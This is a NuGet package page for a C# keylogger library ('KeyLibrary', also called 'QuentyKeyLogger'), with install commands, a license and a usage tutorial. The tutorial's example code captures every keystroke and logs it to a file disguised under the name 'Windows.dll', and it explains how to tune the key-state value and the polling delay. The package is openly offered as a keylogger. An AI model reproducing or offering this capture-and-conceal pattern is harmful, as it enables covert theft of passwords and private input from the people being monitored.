KeyLibrary 1.0.0

dotnet add package KeyLibrary --version 1.0.0
NuGet\Install-Package KeyLibrary -Version 1.0.0
This command is intended to be used within the Package Manager Console in Visual Studio, as it uses the NuGet module's version of Install-Package.
<PackageReference Include="KeyLibrary" Version="1.0.0" />
For projects that support PackageReference, copy this XML node into the project file to reference the package.
paket add KeyLibrary --version 1.0.0
#r "nuget: KeyLibrary, 1.0.0"
#r directive can be used in F# Interactive and Polyglot Notebooks. Copy this into the interactive tool or source code of the script to reference the package.
// Install KeyLibrary as a Cake Addin
#addin nuget:?package=KeyLibrary&version=1.0.0

// Install KeyLibrary as a Cake Tool
#tool nuget:?package=KeyLibrary&version=1.0.0

License

It is not allowed to decompile the library. It is not allowed to spend them as your own. It is not permitted to resell, forward and upload them on any platform. You can use the library in your application. When you publish your application you have to give me a credit.

Installation

It is not difficult to install this library under Nuget. Either go to the Nuget page and search for 'SRTLibrarys', 'KeyLoggerLibrary' or 'QuentyKeyLogger' in the 'Package search field'. When you have found the right package, you look for the installation command looks something like this: "PM> Install-Package <!Package!> -Version <!version!>" and copy the text and paste in Visual Studio in the package manager console and install it, or you go to Visual Studio in Project Explorer, add a reference to Nuget and then just install my library.

Using

Overview You can use my library in several different ways. 1: Use it to intercept the keyboard keys while your program is running and save them in a text file for various purposes. You can then use this text file in your program, for example. 2: But of course you can also use the function as a keylogger for test and development purposes. But you will find your own way to use my library.


Tutorial

My library initially contains 2 methods. First the CreateDir (filepath, filename) and the CatchKeys (path, keyStateNum, threadMillis) method. Details are coming now.


##CreateDir() The CreateDir () method, as it is already in the name, will create the directory where the file with the saved keys should be. The parameters, 1: filepath and 2: filename only determine where and how the file is created.


##CatchKeys() The CatchKeys() method, will intercept the typed keys and write them into the previously created file. The first parameter passes the path where the file is located so that the file can be written to. here you simply pass the property standartPath to which the path entered was assigned in the CreateDir() method. The second parameter passes, the integer, which is recognized when a key is pressed. By default it is -32767 or 32767 for me its 32769. It can be a different number for each PC. If this number is incorrect, with which the key that is pressed is output, it will not work and no key presses will be recognized. The third parameter is the one that specifies the milliseconds in the while loop. I would recommend to set this to 10 - 20, if you have a worse CPU you can set this sleep higher.

Examples

IMPORTANT The methods are overwritten, which means that the standard methods body content is carried out, but you can add something. For example, you spend something in the console. You have to inherit from the class QuentyHelper to fully use the methods. Because these will be overwritten.

class Program : QuentyHelper
{
    static void Main(string[] args)
    {
        Program p = new Program();
        p.CreateDir(@"D:\Bocor\", @"Windows.dll"); // Call the method and defining the parameters
        p.CatchKeys(p.standartPath, 32769, 10); // Call the method and defining the parameters


    }

    public override void CreateDir(string filepath, string filename) // Override the method
    {
        base.CreateDir(filepath, filename); // Call the method
        Console.WriteLine("Dir Created!"); // Adding some stuff

    }

    public override void CatchKeys(string path, int keyStateNum, int threadMilis) // Override the method
    {
        base.CatchKeys(path, keyStateNum, threadMilis); // Call the method
    }

}
Product Compatible and additional computed target framework versions.
.NET net5.0 was computed.  net5.0-windows was computed.  net6.0 was computed.  net6.0-android was computed.  net6.0-ios was computed.  net6.0-maccatalyst was computed.  net6.0-macos was computed.  net6.0-tvos was computed.  net6.0-windows was computed.  net7.0 was computed.  net7.0-android was computed.  net7.0-ios was computed.  net7.0-maccatalyst was computed.  net7.0-macos was computed.  net7.0-tvos was computed.  net7.0-windows was computed.  net8.0 was computed.  net8.0-android was computed.  net8.0-browser was computed.  net8.0-ios was computed.  net8.0-maccatalyst was computed.  net8.0-macos was computed.  net8.0-tvos was computed.  net8.0-windows was computed. 
.NET Core netcoreapp2.0 was computed.  netcoreapp2.1 was computed.  netcoreapp2.2 was computed.  netcoreapp3.0 was computed.  netcoreapp3.1 was computed. 
.NET Standard netstandard2.0 is compatible.  netstandard2.1 was computed. 
.NET Framework net461 was computed.  net462 was computed.  net463 was computed.  net47 was computed.  net471 was computed.  net472 was computed.  net48 was computed.  net481 was computed. 
MonoAndroid monoandroid was computed. 
MonoMac monomac was computed. 
MonoTouch monotouch was computed. 
Tizen tizen40 was computed.  tizen60 was computed. 
Xamarin.iOS xamarinios was computed. 
Xamarin.Mac xamarinmac was computed. 
Xamarin.TVOS xamarintvos was computed. 
Xamarin.WatchOS xamarinwatchos was computed. 
Compatible target framework(s)
Included target framework(s) (in package)
Learn more about Target Frameworks and .NET Standard.
  • .NETStandard 2.0

    • No dependencies.

NuGet packages

This package is not used by any NuGet packages.

GitHub repositories

This package is not used by any popular GitHub repositories.

Version Downloads Last updated
1.0.0 423 7/1/2020

Diese Version ist der Erste Release. Es können immer Bugs und Fehler auftreten. So bitte ich euch diese in meinem Github Repository zu melden! Vielen Dank.